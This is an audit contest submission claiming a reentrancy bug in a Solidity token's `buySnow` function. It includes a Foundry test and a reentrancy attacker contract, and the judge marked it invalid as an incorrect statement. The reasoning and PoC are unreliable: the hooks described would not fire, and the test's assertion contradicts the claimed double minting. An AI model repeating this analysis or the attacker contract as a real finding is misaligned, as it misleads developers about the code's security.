Snowman Merkle Airdrop

First Flight #42
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

Reentrancy Vector in `Snow::buySnow` Function Cause By External Call Before State Changes

Root + Impact

state change after external call

Description

The `buySnow` function contains a critical reentrancy vulnerability where an external call to `i_weth.safeTransferFrom()` is made before updating critical state variables like minting tokens and setting the earn timer. This violates the Checks-Effects-Interactions (CEI) pattern and allows malicious contracts to re-enter the function during the WETH transfer, potentially exploiting the contract's state before it's properly updated.
function buySnow(uint256 amount) external payable canFarmSnow {
if (msg.value == (s_buyFee * amount)) {
_mint(msg.sender, amount);
} else {
i_weth.safeTransferFrom(msg.sender, address(this), (s_buyFee * amount));
//@Audit Reentrancy Vulnerability
@> _mint(msg.sender, amount); // state change after external call
}
s_earnTimer = block.timestamp;
emit SnowBought(msg.sender, amount);
}

Risk

Likelihood:

  • This pattern is definitely vulnerable, because:

    • safeTransferFrom() is an external call to an untrusted address (msg.sender).

    • After the external call, you perform a critical state-changing action: _mint().

    The attacker malicious contract, can re-enter during the external call to safeTransferFrom via ERC-20 transferFrom() hooks

Impact:

- Token Double Minting: Attackers can mint multiple times the intended amount of `Snow`tokens while only paying once
- Economic Loss: The protocol can suffer significant economic damage through inflated token supply
- Market Manipulation: Attackers can artificially increase their token holdings to manipulate governance

Proof of Concept

run the test
`forge test --match-test testReentrancyAttack -vvv` in `TestSnow.t.sol`
function testReentrancyAttack() public {
ReentrancyAttacker attacker = new ReentrancyAttacker(address(snow), address(weth));
// Get the actual buy fee from the contract (already scaled)
uint256 buyFee = snow.s_buyFee();
console2.log("Buy fee from contract:", buyFee);
// Calculate cost for 1 ether of tokens
uint256 costPerToken = buyFee * 1 ether;
// If MAX_ATTACKS = 3, we need enough for 1 + 3 = 4 total calls
uint256 totalWethNeeded = costPerToken * 4;
// Give attacker enough WETH for multiple attacks
weth.mint(address(attacker), totalWethNeeded);
console2.log("WETH balance of attacker:", weth.balanceOf(address(attacker)));
console2.log("Cost per 1 ether of tokens:", costPerToken);
console2.log("Total WETH needed:", totalWethNeeded);
uint256 balanceBefore = snow.balanceOf(address(attacker));
console2.log("Snow balance before attack:", balanceBefore);
// Execute attack - should only mint 1 ether worth of tokens
// But due to reentrancy, mints much more
attacker.attack(1 ether);
uint256 balanceAfter = snow.balanceOf(address(attacker));
console2.log("Snow balance after attack:", balanceAfter);
console2.log("Tokens minted:", balanceAfter - balanceBefore);
console2.log("Should have minted: 1 ether");
// Attacker received more tokens than paid for
assertEq(balanceAfter, balanceBefore + 1 ether);
}
contract ReentrancyAttacker {
Snow public snowContract;
MockWETH public weth;
uint256 public attackCount;
uint256 constant MAX_ATTACKS = 3;
bool public attacking;
constructor(address _snow, address _weth) {
snowContract = Snow(_snow);
weth = MockWETH(_weth);
}
function attack(uint256 amount) external {
weth.approve(address(snowContract), type(uint256).max);
attacking = true;
attackCount = 0;
snowContract.buySnow(amount);
attacking = false;
}
function tokensReceived(
address,
address,
address,
uint256,
bytes calldata,
bytes calldata
) external {
if (attacking && attackCount < MAX_ATTACKS) {
attackCount++;
snowContract.buySnow(1 ether);
}
}
function onTransferReceived() external returns (bool) {
if (attacking && attackCount < MAX_ATTACKS) {
attackCount++;
snowContract.buySnow(1 ether);
}
return true;
}
receive() external payable {}
}

Recommended Mitigation

Add Reentrancy Guard:

+ import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
+ contract Snow is ERC20, Ownable, ReentrancyGuard {
+ function buySnow(uint256 amount) external payable nonReentrant canFarmSnow {// Function logic here }}
Updates

Lead Judging Commences

yeahchibyke Lead Judge 5 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.